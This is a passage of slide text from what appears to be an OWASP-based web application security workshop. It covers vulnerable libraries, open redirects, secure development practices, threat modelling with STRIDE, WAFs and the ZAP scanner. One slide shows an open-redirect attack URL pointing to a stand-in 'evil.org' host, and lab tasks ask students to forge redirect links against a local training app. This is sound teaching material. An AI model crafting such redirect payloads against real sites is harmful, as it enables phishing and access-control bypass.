    120. 120. AttackVector Average Prevalence Widespread Detectability Difficult Impact Moderate
    121. 121. Heartbleed OpenSSL 1.0.1 – 1.0.1f
    122. 122. Source: http://xkcd.com/1354/
    123. 123. Source: http://xkcd.com/1354/
    124. 124. Source: http://xkcd.com/1354/
    125. 125. Libraries often contain vulnerabilities Attacker identifies a weak component through scanning or manual analysis Customized exploits used to execute attack Full range of weaknesses is possible injection, broken access control, XSS, etc. Impact could be minimal, up to complete host takeover and data compromise Source: https://www.owasp.org/index.php/Top_10_2013-A9
    126. 126. Source: https://www.aspectsecurity.com/uploads/downloads/2012/03/Aspect-Security-The-Unfortunate-Reality-of-Insecure-Libraries.pdf SpEL Injection Authentication Bypass Remote Code Execution
    127. 127. Browse to http://localhost:3000 Task: Inform the shop about a vulnerable library they are using Use the 'Contact Us' page and supply the exact library name the exact version within your comment.
    128. 128. Identify the components and their versions you are using, including all dependencies Monitor the security of these components in public databases, project mailing lists, and security mailing lists, and keep them up-to- date Restrict the use of unapproved components Source: https://www.owasp.org/index.php/Top_10_2013-A9
    129. 129. AttackVector Average Prevalence Uncommon Detectability Easy Impact Moderate
    130. 130. Web application redirects are very common And frequently include user supplied parameters in the destination URL If they aren’t validated, attacker can send victim to a site of their choice Forwards are common too They internally send the request to a new page in the same application Sometimes parameters define the target page If not validated, attacker may be able to use unvalidated forward to bypass authentication or authorization checks Typical Impact Redirect victim to phishing or malware site Attacker’s request is forwarded past security checks, allowing unauthorized function or data access Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
    131. 131. bank.com Web App Browser Bug! evil.org Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx HTTP/1.1 302 Found Location: http://www.evil.org Request to Redirect URL https://bank.com/account?...&...&... &dest=www.evil.org&...&...&...&... URL
    132. 132. Browse to http://localhost:3000 Task: Find a place where a redirect is done Forge a link redirecting to http://kimminich.de Do not let any validations stop you!
    133. 133. Avoid using redirects and forwards as much as you can Don’t involve user parameters in defining the target URL If you ‘must’ involve user parameters, then either Use server side mapping to translate choice provided to user with actual target page Validate each parameter to ensure its valid and authorized for the current user Use a secure Redirect API e.g. ESAPI SecurityWrapperResponse.sendRedirect(URL) Some thoughts about protecting Forwards Call the access controller to make sure the user is authorized before you perform the forward Next best is to make sure that users who can access the original page are authorized to access the target page Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
    134. 134. Secure Software Development Lifecycle
    135. 135. Analysis / Functional Design Identify (better: Reject) potentially insecure requirements Technical Design Consider Security Aspects when designing a solution Create a Threat Model of your Applications
    136. 136. Development / Realization Know and understand common vulnerabilities Know preventive measures for each vulnerability Write Clean Code (=less likely to contain a flaw) Write Unit Tests (=less likely to miss an existing flaw) Perform Security Scans on source code level Perform Code Reviews Most importantly… Never blindly trust any user input!
    137. 137. Test Perform Penetration Tests for new functionality Have a 3rd party perform regular Pentests Support Pentests with Security Scanners Operations / Maintenance Install a Web Application Firewall Establish an Incident Response Process
    138. 138. Open Software Assurance Maturity Model
    139. 139. Maturity Levels for each Security Practice 0 = Unfulfilled activities 1 = Initial understanding and ad hoc provision 2 = Increased efficiency/effectvieness 3 = Comprehensive mastery Source: www.opensamm.org/downloads/SAMM-1.0.pdf
    140. 140. Source: www.opensamm.org/downloads/SAMM-1.0.pdf
    141. 141. https://ssa.asteriskinfosec.com.au/
    142. 142. Bringing Security into Software Design
    143. 143. Repeatable Process to find all and address all threats to you application Allows you to predicably and effectively find security problems early in the development process Help to produce software that is secure by design Source: http://download.microsoft.com/download/9/3/5/935520EC-D9E2-413E-BEA7-0B865A79B18C/Introduction_to_Threat_Modeling.ppsx Diagram Identify Threats Mitigate Validate
    144. 144. Go to the White Board Use Data Flow Diagrams Include Processes, Data Stores, Data Flows Include Trust Boundaries = Points/Surfaces where an attacker can interject Diagram Levels High Level Scenario Low Level Subcomponents More Details if needed Source: http://download.microsoft.com/download/9/3/5/935520EC-D9E2-413E-BEA7-0B865A79B18C/Introduction_to_Threat_Modeling.ppsx Diagram Identify Threats Mitigate Validate
    145. 145. External Entity The external entity shape is used to represent any entity outside the application that interacts with the application via an entry point. Process The process shape represents a task that handles data within the application. The task may process the data or perform an action based on the data. Source: https://www.owasp.org/images/2/2e/OWASP_Code_Review_Guide-V1_1.pdf
    146. 146. Multiple Process The multiple process shape is used to present a collection of subprocesses. The multiple process can be broken down into its subprocesses in another DFD. Data Store The data store shape is used to represent locations where data is stored. Data stores do not modify the data they only store data. Source: https://www.owasp.org/images/2/2e/OWASP_Code_Review_Guide-V1_1.pdf
    147. 147. Data Flow The data flow shape represents data movement within the application. The direction of the data movement is represented by the arrow. Privilege Boundary The privilege boundary shape is used to represent the change of privilege levels as the data flows through the application. Source: https://www.owasp.org/images/2/2e/OWASP_Code_Review_Guide-V1_1.pdf
    148. 148. Source: https://www.owasp.org/images/2/2e/OWASP_Code_Review_Guide-V1_1.pdf
    149. 149. Use STRIDE to step through the diagram elements Spoofing Tampering Repudiation Information Disclosure Denial of Service Elevation of Privilege Source: http://download.microsoft.com/download/9/3/5/935520EC-D9E2-413E-BEA7-0B865A79B18C/Introduction_to_Threat_Modeling.ppsx Diagram Identify Threats Mitigate Validate
    150. 150. Source: https://www.owasp.org/images/2/2e/OWASP_Code_Review_Guide-V1_1.pdf
    151. 151. Source: https://www.owasp.org/images/2/2e/OWASP_Code_Review_Guide-V1_1.pdf
    152. 152. The Point of Threat Modelling Address or alleviate Problems Protect Customers Design Secure Software Addressing Threats Redesign to Eliminate Apply Standard Mitigations Invent new Mitigations (Avoid!) Access Vulnerability in Design Source: http://download.microsoft.com/download/9/3/5/935520EC-D9E2-413E-BEA7-0B865A79B18C/Introduction_to_Threat_Modeling.ppsx Diagram Identify Threats Mitigate Validate
    153. 153. Validate whole Threat Model Diagram matches final Code? At least STRIDE exists per Element that touches a Trust Boundary? Is each Threat mitigated? Are Mitigations done right? Source: http://download.microsoft.com/download/9/3/5/935520EC-D9E2-413E-BEA7-0B865A79B18C/Introduction_to_Threat_Modeling.ppsx Diagram Identify Threats Mitigate Validate
    154. 154. (Do not expect a Silver Bullet here!)
    155. 155. Custom Enterprise Web Application OWASP Enterprise Security API Authenticator User AccessController AccessReferenceMap Validator Encoder HTTPUtilities Encryptor EncryptedProperties Randomizer ExceptionHandling Logger IntrusionDetector SecurityConfiguration Your Existing Enterprise Services or Libraries
    156. 156. Powerful and easy-to-use Java security framework that performs authentication authorization cryptography session management
    157. 157. ServerNetwork Security Firewall IDS IPS Web App Malicious Requests exploit vulnerabilities and compromise application
    158. 158. ServerNetwork Security Firewall IDS IPS Web App Blackbox ScannerPenetration Test Whitebox Scanner Web App Sourcecode Code Analysis Fix + Patch Application New security holes might be introduced during ongoing development and bugfixing! Vulnerabilities might be insufficiently fixed
    159. 159. ServerNetwork Security Firewall IDS IPS Web App WAF Guidelines Ruleset WhitelistBlacklist Heuristics Defines legal/ illegal Requests Rejects illegal requests Sometimes rejects legitimate requests („False Positives“) or fails to recognize illegal requests („False Negative“)
    160. 160. Event Detection Reporting Information Collection First Assessment Relevant? Second Assessment Relevant? False Positive Incident under control?ForensicAnalysis Communications Later Response Activate Crisis Team CrisisActivities ImmediateResponse Review Improve Detection Reporting User/Source Yes No Assessment Descision Operations Support No Yes No Yes Response Information Security Incident Response Team Crisis Organization No Yes
    161. 161. An Open Source Blackbox Security Scanner
    162. 162. An easy to use webapp pentest tool Completely free and open source An OWASP flagship project Ideal for beginners… …but also used by professionals Ideal for automated security tests Becoming a framework for advanced testing Source: https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
    163. 163. No paid for „Pro“ version Involvement actively encouraged Cross platform (Java) Easy to use Easy to install Fully documented Work well with other tools Reuse well regarded components Source: https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
    164. 164. First released September 2010 Current version 2.3.1 released in May 2014 downloaded 70.000+ times Translated into 20+ languages Intended for Developers… …mostly used by Professional Pentesters Source: https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
    165. 165. Intercepting Proxy Active and Passive Scanners Spiders (for HTML and AJAX) Report Generation Brute Force (using OWASP DirBuster code) Fuzzing (using fuzzdb & OWASP JBroFuzz) WebSocket Support Session Awareness Integrated Addon-Marketplace API (clients exist for Java, Python, Node.js, PHP) Scripting (JS, Jython, JRuby, Zest) Source: https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
    166. 166. Source: https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
    167. 167. A1: Injection A3: Cross-Site Scripting (XSS) A2: Broken Authentication and Session Management A4: Insecure Direct Object References A8: Cross Site Request Forgery (CSRF) A5: Security Misconfiguration A6: Sensitive Data Exposure A7: Missing Function Level Action Control A9: Using Known Vulnerable Components A10: Unvalidated Redirects and Forwards Ex-A6/2007: Information Leakage and Improper Error Handling
    168. 168. Kali Linux (fka Backtrack) Samurai Web Testing Framework OWASP Broken Web Apps VM
    169. 169. OWASP Website http://owasp.org Appsec Tutorial Series http://www.youtube.com/user/AppsecTutorialSeries ZAP http://code.google.com/p/zaproxy Java HTML Sanitizer https://code.google.com/p/owasp-java-html-sanitizer/ Enterprise Security API http://code.google.com/p/owasp-esapi-java/ OpenSAMM http://www.opensamm.org/ Broken Web Applications https://www.owasp.org/index.php/OWASP_Broken_Web_Applications_Project Vulnerable Web Applications Directory https://www.owasp.org/index.php/OWASP_Vulnerable_Web_Applications_Directory_Project
    170. 170. Follow the Doodle link in your invitation email Please provide at least a star-rating Additional feedback is highly appreciated What did you like best about the workshop? What could have been better? What didn‘t you like at all?
    171. 171. Thank you for your attention!
    172. 172. The background artwork shows the self-image of villain AI Shodan from the cyberpunk-RPG video games System Shock and System Shock 2 ©1994/1999 Looking Glass Studios/Irrational Games Background image based on „Digital Shodan“ created by sephiroth- kmfdm Source: http://sephiroth-kmfdm.deviantart.com/art/Digital- Shodan-56013493 Recolorized using Corel PSP X5, Paint.Net and IrfanView
    1. A particular slide catching your eye?

      Clipping is a handy way to collect important slides you want to go back to later.